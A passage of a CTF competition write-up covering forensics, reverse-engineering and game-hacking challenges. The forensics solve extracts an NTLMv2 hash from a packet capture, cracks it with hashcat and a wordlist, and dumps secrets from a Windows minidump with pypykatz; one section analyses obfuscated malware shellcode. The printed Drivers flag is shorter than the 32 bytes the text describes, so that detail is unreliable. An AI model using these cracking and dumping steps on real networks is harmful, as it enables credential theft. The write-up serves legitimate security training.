  3. Python Reverse Engineering: Tools like pyinstxtractor and PyLingual streamline the analysis of Python-based malware.

  4. Dynamic Analysis: Observing external connections (e.g., Pastebin links) in malicious scripts can lead directly to key insights.

  5. Systematic Approach: Combining file analysis, decompilation, and network observation ensures a thorough investigation.

Oh Man - SMB Traffic Decryption with NTLM Hash

Description: We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen?

Solution

Files Provided

  1. wgmy-ohman.pcap: A packet capture file containing encrypted SMB3 packets.


Tools Used

  1. Wireshark: For analyzing and decrypting the SMB3 packets.

  2. Hashcat: For cracking NTLMv2 hashes.

  3. pypykatz: For parsing Windows minidump files.


Goals

  1. Analyze the packet capture to extract NTLMv2 hashes.

  2. Crack the NTLMv2 password using a dictionary attack.

  3. Decrypt SMB3 traffic and export files.

  4. Analyze exported files to retrieve the flag.


Solution

Step 1: Extracting NTLMv2 Hashes

  1. Filtering NTLMv2 Packets:

    • Used Wireshark to filter NTLMv2 authentication packets.

      Filter Commands:

      ntlmssp.messagetype == 0x00000003  # NTLMv2 Response packets
      ntlmssp.messagetype == 0x00000002  # NTLMv2 Challenge packets
  2. Extracting Hash Components:

    • Ran the following tshark commands to extract required fields:

      # Extract username, domain, ntproofstr, and ntresponse
      tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse
      
      # Extract ntlmserverchallenge
      tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge
  3. Formatted NTLM Hash:

    • Constructed the hash for hashcat in the following format:

      username::domain:ntlmserverchallenge:ntproofstr:rest_of_ntresponse
  4. Example Hash:

    Administrator::DESKTOP-PMNU0JK:7aaff6ea26301fc3:ae62a57caaa5dd94b68def8fb1c192f3:01010000000000008675779b2e57db01376f686e57504d770000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b00070008008675779b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000

Step 2: Cracking NTLMv2 Password

  1. Using Hashcat:

    • Ran hashcat to crack the NTLM hash using the rockyou.txt wordlist:

      hashcat -O -a 0 -m 5600 ntlm.txt rockyou.txt
  2. Cracked Password:

    password<3

Step 3: Decrypting SMB3 Traffic

  1. Configuring Wireshark:

    • Edited SMB protocol preferences in Wireshark:

      • Path: Edit > Preferences > Protocols > NTLMSSP.

      • Entered the cracked password in the NT Password field.

  2. Decrypting Traffic:

    • SMB traffic was automatically decrypted after applying the correct password.


Step 4: Exporting Files

  1. Exporting SMB Objects:

    • Exported files sent over SMB using Wireshark:

      • Path: File > Export Objects > SMB...

  2. Recovered File:

    • Exported a file named 20241225_1939.log.


Step 5: Analyzing the Exported File

  1. Repairing the Minidump File:

    • Fixed the file signature by replacing the first 4 bytes with MDMP (little-endian).

    Command:

    scripts/restore_signature 20241225_1939.log
  2. Parsing with Pypykatz:

    • Used pypykatz to analyze the minidump and extract secrets:

      Command:

      python3 -m pypykatz lsa minidump 20241225_1939.log

Final Answer

The recovered flag is:

wgmy{fbba48bee397414246f864fe4d2925e4}

Summary

  1. Packet Analysis: Used Wireshark and tshark to extract NTLMv2 hashes from the packet capture.

  2. Password Cracking: Cracked the NTLM hash with hashcat to obtain the password.

  3. Traffic Decryption: Decrypted SMB3 traffic in Wireshark using the cracked password.

  4. File Recovery: Exported files sent via SMB and repaired the corrupted minidump file.

  5. Flag Retrieval: Parsed the minidump file with pypykatz to extract the flag.


Remarks/Tags/Lesson Learned

  1. SMB Decryption: Proper password recovery is essential for decrypting encrypted SMB traffic.

  2. Network Forensics: Tools like Wireshark and tshark are invaluable for analyzing network traffic and extracting critical data.

  3. Hash Cracking: Hashcat's performance and compatibility make it an excellent choice for NTLMv2 password cracking.

  4. File Repair: Understanding file formats and repairing corrupted files can be key to retrieving essential information.

  5. Dynamic Analysis: Leveraging tools like pypykatz allows efficient parsing of Windows memory artifacts.


Reverse

Stones - Pyinstaller Extraction

Description: When Thanos snapped his fingers, half of the flag was blipped. We need the Avengers to retrieve the other half. There's no flag in the movie, but there is a slash flag on the server (Please do not perform any brute forcing, enumeration, or scanning. Not useful nor needed)

Solution

Files Provided

  1. stones.whatdis: A file containing an executable packed with PyInstaller.


Goals

  1. Extract and analyze the Python code from the provided file.

  2. Understand the logic for retrieving the flag.

  3. Identify the correct date parameter and submit it to get the full flag.


Solution

Step 1: File Analysis

  1. Initial Inspection:

    • Used the file and strings commands on stones.whatdis to identify it as a PyInstaller-packed executable.

    file stones.whatdis
    strings stones.whatdis
  2. Unpacking the Executable:

    • Used pyinstxtractor to unpack the file:

      pyinstxtractor.py stones.whatdis
    • This extracted Python bytecode files, including the main logic.

  3. Decompiling Bytecode:

    • Used PyLingual to decompile the main .pyc file into readable Python source code.


Step 2: Extracted Python Code

The decompiled source revealed the following logic:

import requests
from datetime import datetime
from urllib.request import urlopen

server_url = 'http://13.58.69.212:8000/'
current_time = urlopen('http://just-the-time.appspot.com/')
current_time = current_time.read().strip()
current_time = current_time.decode('utf-8')
current_date = current_time.split(' ')[0]
local_date = datetime.now().strftime('%Y-%m-%d')

if current_date == local_date:
    print("We're gonna need a really big brain; bigger than his?")

first_flag = 'WGMY{1d2993'
user_date = current_date
params = {'first_flag': first_flag, 'date': user_date}
response = requests.get(server_url, params=params)

if response.status_code == 200:
    print(response.json()['flag'])
else:
    print(response.json()['error'])

Key Observations:

  • The script queries a server at http://13.58.69.212:8000/ with two parameters:

    • first_flag: A known partial flag WGMY{1d2993.

    • date: A specific date required by the server.

  • The /flag endpoint must be queried with the correct date parameter to retrieve the full flag.


Step 3: Determining the Correct Date

  1. Hint from the /flag Endpoint:

    • Accessing /flag on the server redirected to a YouTube video about the Avengers and the Time Stone.

    • The video’s upload date was 2022-07-24.

  2. Adjusting the Date:

    • Submitting 2022-07-24 resulted in an error.

    • Incremented the date by one day (2022-07-25) and successfully retrieved the flag.

Final Date: 2022-07-25


Step 4: Full Solve Script

Using the correct date, the script to retrieve the full flag is as follows:

import requests

# Parameters
server_url = 'http://13.58.69.212:8000/'
date = '2022-07-25'
first_flag = 'WGMY{1d2993'
params = {'first_flag': first_flag, 'date': date}

# Query the server
response = requests.get(server_url, params=params)

# Output the result
if response.status_code == 200:
    print(response.json()['flag'])
else:
    print(response.json()['error'])

Final Answer

The full flag is:

WGMY{1d2993fc6327746830cd374debcb98f5}

Summary

  1. Executable Unpacking: Used pyinstxtractor to unpack the PyInstaller-packed executable.

  2. Decompilation: Decompiled Python bytecode with PyLingual to recover the main logic.

  3. Logic Analysis: Identified the server endpoint and parameters required for flag retrieval.

  4. Date Adjustment: Determined the correct date parameter through observation and incremental testing.

  5. Flag Retrieval: Submitted the correct parameters to retrieve the full flag.


Remarks/Tags/Lesson Learned

  1. Executable Analysis: Recognizing PyInstaller artifacts and using appropriate tools like pyinstxtractor is crucial for unpacking.

  2. Decompilation Tools: Tools like PyLingual simplify bytecode analysis, aiding in understanding the underlying logic.

  3. HTTP Debugging: Observing server behavior and incremental testing can reveal subtle requirements for successful queries.

  4. Problem Context: Incorporating hints (e.g., video upload date) into the solution ensures alignment with challenge themes.

  5. Iterative Testing: Small adjustments, such as date changes, can resolve unexpected errors and lead to the correct solution.

Sudoku - Cryptogram-like Substitution Cipher

Description: Easy stuff, frfr. You dont need to brute force or guess anything. The final flag don't have any dot (.)

Solution

Files Provided

  1. sudoku.zip:

    • out.enc: Encrypted flag file.

    • sudoku: Linux ELF executable.


Description

The challenge involves recovering an encrypted flag by analyzing a packed executable and utilizing reverse engineering to decrypt the data. The encryption uses a custom substitution cipher based on a randomly generated character map.


Goals

  1. Extract and analyze the packed executable to recover its logic.

  2. Reverse the substitution cipher used to encrypt the flag.

  3. Reconstruct the complete flag.


Solution

Step 1: Analyzing the Executable

  1. Initial Inspection:

    • Opened the sudoku executable in IDA.

    • Observed references to PyInstaller, indicating the file is packed.

  2. Unpacking the Executable:

    • Used the Pyinstxtractor tool to unpack the executable.

      pyinstxtractor.py sudoku
    • Extracted compiled Python files, including sudoku.pyc.

  3. Decompiling the Python Bytecode:

    • Used the PyLingual tool to decompile sudoku.pyc into readable Python source code.


Step 2: Understanding the Encryption Logic

The decompiled sudoku.py contains the following relevant code:

import random
alphabet = 'abcdelmnopqrstuvwxyz1234567890.'
plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}'

def makeKey(alphabet):
    alphabet = list(alphabet)
    random.shuffle(alphabet)
    return ''.join(alphabet)
key = makeKey(alphabet)

def encrypt(plaintext, key, alphabet):
    keyMap = dict(zip(alphabet, key))
    return ''.join((keyMap.get(c.lower(), c) for c in plaintext))
enc = encrypt(plaintext, key, alphabet)

Observations:

  • A substitution cipher encrypts the flag by mapping plaintext characters to randomly shuffled characters from the alphabet.

  • The plaintext variable is based on a pangram.

  • The encrypt function substitutes each character in plaintext using the generated key.


Step 3: Recovering the Decryption Map

  1. Known Plaintext Attack:

    • Most of the plaintext is a known pangram: 0 the1 quick2 brown3 fox4 jumps5 over6 the7 lazy8 dog9.

    • The ciphertext from out.enc is:

      z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r
  2. Reverse Mapping:

    • Created a decryption map (decmap) by pairing plaintext characters with their corresponding ciphertext characters:

    plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9'
    ciphertext = "z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r"
    
    decmap = {}
    for pt, ct in zip(plaintext, ciphertext):
        decmap[ct] = pt
  3. Decrypting the Flag:

    • Using the decryption map, processed the flag portion of the ciphertext:

    encflag = "t728{09er1bzbs9sx5sosu7719besr39zscbx}"
    flag = ''.join((decmap.get(c.lower(), c) for c in encflag))
    print(flag)
    • Output:

      wgmy{2ba914045b56c5e58..1b4a593b05746}

Step 4: Completing the Flag

  1. Masked Characters:

    • Some characters in the decrypted flag (..) are placeholders. Using the pangram, determined that these placeholders correspond to missing hexadecimal characters.

    • Based on the ciphertext mapping, replaced the placeholders:

    wgmy{2ba914045b56c5e58ff1b4a593b05746}
  2. Validation:

    • Verified the flag's validity as a hexadecimal MD5 hash:

      assert int(flag[5:-1], 16)  # Ensure flag is valid hexadecimal

Final Answer

The reconstructed flag is:

wgmy{2ba914045b56c5e58ff1b4a593b05746}

Summary

  1. Executable Unpacking: Used Pyinstxtractor to extract compiled Python files from the packed executable.

  2. Decompilation: Decompiled sudoku.pyc using PyLingual to recover the source code.

  3. Cipher Analysis: Analyzed the substitution cipher and created a reverse mapping based on known plaintext.

  4. Flag Reconstruction: Used the reverse mapping to decrypt the flag and replace masked characters.


Remarks/Tags/Lesson Learned

  1. Packed Executable Analysis: Recognizing PyInstaller artifacts helps identify appropriate unpacking tools.

  2. Reverse Engineering: Decompilation of Python bytecode is a valuable skill for analyzing packed executables.

  3. Cryptanalysis: A known plaintext attack can efficiently break substitution ciphers.

  4. Tool Proficiency: Tools like Pyinstxtractor and PyLingual streamline the process of extracting and analyzing Python-based executables.

  5. Systematic Debugging: Step-by-step reconstruction ensures accuracy and completeness in flag recovery.

Drivers

Description: I downloaded these drivers which grants me more ram Though, it seems that its not working as expected, Could it be a virus?? Please help me!

Solution

Files Provided

The following relevant file is provided for this challenge:

  • InstallDrivers.ps1: A PowerShell script that executes a binary containing obfuscated shellcode.


Tools and Techniques Used

  • IDA Pro: Used for dynamic debugging and patching the binary to bypass anti-analysis checks.

  • shellcode2exe: Converted the shellcode to an executable for debugging.

  • Python (with itertools and pwntools): Scripted brute-forcing for missing flag components.

  • TQDM: Progress bar utility for tracking brute-force progress.


Steps to Solve

Step 1: Analyze the Shellcode

  1. Convert the Shellcode:

    • Used shellcode2exe to wrap the shellcode into an executable format for easy debugging.

  2. Debug the Binary in IDA:

    • Observed a series of anti-debugging checks.

    • Patched functions responsible for checking tools like IDA, Wireshark, and other debuggers by forcing them to return false.

    • Focused on functions causing premature exits and identified key functions dynamically loaded by the binary.

  3. Registry Interaction:

    • Identified that the binary interacts with the registry to read two keys:

      • ProgramFilesDir (standard Windows directory key).

      • ProgramFilezDir (non-standard key with a z).

  4. Core Logic:

    • The program constructs a 32-byte hexadecimal flag based on values from the binary and the registry.

    • Parts of the flag are hardcoded, but others depend on the ProgramFilezDir value, requiring brute-forcing.


Step 2: Reverse-Engineer the Flag Construction

  1. Reverse Engineering:

    • Decompiled the binary to understand flag construction logic.

    • Found that the flag bytes are split into known and unknown indices:

      v6 = bytearray(32)
      v6[0] = 0x35
      v6[1] = 0x32
      v6[3] = 0x33
      v6[5] = 0x31
      v6[6] = 0x63
      v6[8] = 0x36
      ... (other predefined values)
    • Remaining values are dependent on ProgramFilezDir and must pass two hash checks.

  2. Hash Validation:

    • Flag validation involves two FNV-1a hash checks:

      • The full flag hash must match 991905974.

      • The hash of the lower 16 bytes must match 2089661757.


Step 3: Brute-Force Missing Values

  1. Script Setup:

    • Wrote a Python script to brute-force the unknown flag components using itertools.product.

  2. Partial Brute Force:

    • Brute-forced the lower half of the flag first:

      target = 2089661757
      unknown_indexes = [16, 18, 21, 22, 26, 27, 28, 29]
      for combo in product("0123456789abcdef", repeat=len(unknown_indexes)):
          for i, c in enumerate(combo):
              v6[unknown_indexes[i]] = ord(c)
          if fnv1a_hash(v6[16:]) == target:
              print("Found partial:", "".join(chr(v6[j]) for j in range(16, 32)))
              break
  3. Complete Brute Force:

    • Once partial values were found, brute-forced the remaining indices:

      target = 991905974
      unknown_indexes = [2, 4, 7, 11, 12, 13, 15]
      for combo in product(b"0123456789abcdef", repeat=len(unknown_indexes)):
          for i, c in enumerate(combo):
              v6[unknown_indexes[i]] = c
          if fnv1a_hash(v6) == target:
              print(v6)
              break

Step 4: Retrieve the Flag

  1. Output Flag:

    • Once both parts passed their respective hash checks, the complete flag was assembled:

      print("Flag:", f"wgmy{{{bytes(v6).decode()}}}")
  2. Final Flag:

    • The final flag retrieved is:

      Flag: wgmy{5233c60a01b0f0d372c39}

Conclusion

By combining dynamic debugging, reverse engineering, and brute-forcing, the challenge was solved effectively. The brute-force approach for registry values, while computationally expensive, was necessary due to the obfuscation in the binary. The use of FNV-1a hashing ensured the integrity of the solution.

Game

World 1 - RPG Maker MZ Save File Manipulation

Description: Game hacking is back! Can you save the princess? White screen? That is a part of the challenge, try to overcome it..

Solution

File Provided

  1. World1.exe: An executable file for a game created using RPG Maker MZ.


Goals

  1. Modify the save file to gain invincibility and obtain flags in the game.

  2. Extract the game files to locate missing parts of the flag.

  3. Reconstruct the full flag.


Solution

Step 1: Editing the Save File

  1. Launch the game to create a save file, typically named file0.rmmzsave.

  2. Open the save file using the RPG Maker MZ save editor tool:

  3. Modify the save data to set all status values to 9999, making the character invincible.

  4. Save the edited file and replace the original save file in the game directory.

  5. Reload the game using the edited save to:

    • Defeat all enemies with one hit.

    • Collect flags for Parts 1, 2, and 5 during gameplay.


Step 2: Extracting Game Files for Missing Flag Part

The remaining Part 4 of the flag is not obtainable in-game. To locate it:

  1. Inspect the Executable:

    • Open the executable (World1.exe) as a ZIP archive.

    • Observe the .enigma1 file, which indicates the game is packed with Enigma Virtual Box.

  2. Unpack the Files:

    • Use the evbunpack tool to unpack the game files:

      evbunpack "World1.exe" output
  3. Parse Game Assets:

    • After unpacking, use gameripper to extract and parse game assets:

      gameripper --input output --output parsed_assets

Step 3: Locating Flag Parts

  1. Part 4 (Volcano Map):

    • Using gameripper, locate the volcano map image, which contains the missing flag part.

  2. Other Flag Parts:

    • Parts 1, 2, and 5: Found in data/CommonEvents.json.

    • Part 3: Found in data/Map004.json.


Step 4: Reconstructing the Full Flag

After collecting all flag parts, the full flag is:

wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}

Final Answer

The reconstructed flag is:

wgmy{5ce7d7a7140ebabf5cd43effd3fcaac2}

Summary

  1. Save File Modification: Edited file0.rmmzsave to gain invincibility and collect in-game flags.

  2. Game File Extraction: Unpacked the game executable using evbunpack.

  3. Asset Parsing: Analyzed game assets with gameripper to locate missing flag parts.

  4. Flag Reconstruction: Combined all discovered parts to form the complete flag.


Remarks/Tags/Lesson Learned

  1. Save File Editing: Save editors for specific game engines, like RPG Maker MZ, can simplify gameplay challenges.

  2. Executable Inspection: Many game executables can be opened as archives to inspect their structure.

  3. File Unpacking: Tools like evbunpack are essential for extracting files packed with virtualization solutions such as Enigma Virtual Box.

  4. Asset Exploration: Parsing game assets with tools like gameripper can reveal hidden information and resources.

  5. Systematic Flag Discovery: Combining in-game exploration with external file analysis ensures no part of the challenge is missed.

World 2 - APK File and Asset Decryption

Description: Welp, time to do it again. Unable to install? That is a part of the challenge, try to overcome it.

Solution

File Provided

  1. world2.apk: An APK file for a game created using RPG Maker MZ.


Description

The challenge involves hacking an RPG Maker MZ game to retrieve a hidden flag. The APK file includes:

  1. Assets that need extraction and decryption.

  2. Maps and JSON data to analyze.

  3. A challenge to overcome a white screen issue.


Goals

  1. Extract and analyze the game files from the APK.

  2. Manipulate game data to locate missing parts of the flag.

  3. Reconstruct the complete flag.


Solution

Step 1: Extracting Files from the APK

  1. Open the APK as a ZIP archive to extract its contents.

  2. Locate and extract the following files:

    • assets/www/data/CommonEvents.json

    • assets/www/data/Map004.json

    • assets/www/data/Map007.json

    • assets/www/img/pictures/QR Code 5A.png_


Step 2: Inspecting the App via USB Debugging

  1. Install the APK on an Android phone.

  2. Enable USB debugging and connect the phone to a PC.

  3. Open Chrome and navigate to:

    • chrome://inspect#devices

  4. Use Chrome's DevTools to inspect and interact with the app's elements.

  5. Bypass the white screen by modifying DOM elements or inspecting network requests.


Step 3: Locating Flag Parts

  1. Parts 1, 2, and 5 (Name): Found in CommonEvents.json.

  2. Part 3: Found in Map004.json.

  3. Part 4:

    • Import Map007.json into World 1's game data.

    • Use gameripper to render the map and locate the hidden flag part.

  4. Part 5 (Image):


Step 4: Reconstructing the Full Flag

After combining all flag parts, the full flag is:

wgmy{4068a87d81d8c901043885bac4f51785}

Final Answer

The reconstructed flag is:

wgmy{4068a87d81d8c901043885bac4f51785}

Summary

  1. File Extraction: Extracted and analyzed assets from world2.apk.

  2. USB Debugging: Used Chrome DevTools to interact with and inspect the running app.

  3. Game Asset Manipulation: Imported and decrypted game files to locate hidden flag parts.

  4. Flag Reconstruction: Combined all parts to form the complete flag.


Remarks/Tags/Lesson Learned

  1. APK Analysis: APK files can be treated as ZIP archives for extracting embedded data.

  2. USB Debugging: Chrome's DevTools is a powerful tool for inspecting and modifying Android apps.

  3. Game Asset Rendering: Tools like gameripper can render hidden map assets for analysis.

  4. File Decryption: Tools such as Petschko's RPG Maker Decrypter are essential for recovering encrypted game assets.

  5. Systematic Approach: Combining JSON analysis, image decryption, and game data manipulation ensures no part of the challenge is overlooked.

World 3 - Web-based Game File Extraction

Description: Welp, time to do it again and again.

Solution

File Provided


Description

The challenge involves hacking a game hosted on itch.io to retrieve a hidden flag. The game files are accessible via browser devtools, and the same strategy as previous challenges can be applied to solve it.


Goals

  1. Access game variables to manipulate gameplay.

  2. Extract the required game files from the server.

  3. Reconstruct the complete flag.


Solution

Step 1: Accessing the Game Variables

  1. Open the game in the provided itch.io link.

  2. Open the iFrame in a new tab to directly access the game content.

  3. Launch the browser devtools (Inspect Element).

  4. Explore the game variables:

    • $data<Object>: Contains the game data dictionary.

    • $game<Object>: Contains game runtime variables.

  5. Use the console to run the following command to give yourself max stats via weapon modification:

    $dataWeapons[5].params = [99999, 99999, 99999, 99999, 99999, 99999, 99999, 99999];
  6. This makes your character overpowered, allowing you to defeat bosses easily and collect in-game flag parts.


Step 2: Extracting Game Files

  1. Open the Network Monitor in the devtools while the game is loading.

  2. Observe the game files being loaded from the path:

    https://html-classic.itch.zone/html/12358649/...
  3. Extract the following files from the network requests:

    • data/CommonEvents.json

    • data/Map004.json

    • data/Map007.json

    • img/pictures/QR Code 5W.png_


Step 3: Locating Flag Parts

  1. Parts 1, 2, and 5 (Name): Found in CommonEvents.json.

  2. Part 3: Found in Map004.json.

  3. Part 4:

    • Import Map007.json into World 1's game data.

    • Use gameripper to render the map and locate the hidden flag part.

  4. Part 5 (Image):


Step 4: Reconstructing the Full Flag

After combining all flag parts, the full flag is:

wgmy{811a332e71b5d4651edd3ddcace5b748}

Final Answer

The reconstructed flag is:

wgmy{811a332e71b5d4651edd3ddcace5b748}

Summary

  1. Game Variable Manipulation: Used browser devtools to modify in-game stats for easier gameplay.

  2. File Extraction: Retrieved game files from the itch.io server via the network monitor.

  3. Asset Parsing: Analyzed JSON files and decrypted image assets to locate hidden flag parts.

  4. Flag Reconstruction: Combined all parts to form the complete flag.


Remarks/Tags/Lesson Learned

  1. Devtools Mastery: Browser devtools are powerful for inspecting and manipulating game variables and assets.

  2. Network Analysis: Monitoring network requests can reveal server paths to game files.

  3. Game Asset Rendering: Tools like gameripper can uncover hidden data in game assets.

  4. File Decryption: Petschko's RPG Maker Decrypter is useful for recovering encrypted image files.

  5. Systematic Approach: Combining runtime exploration with file analysis ensures thorough flag discovery.

Last updated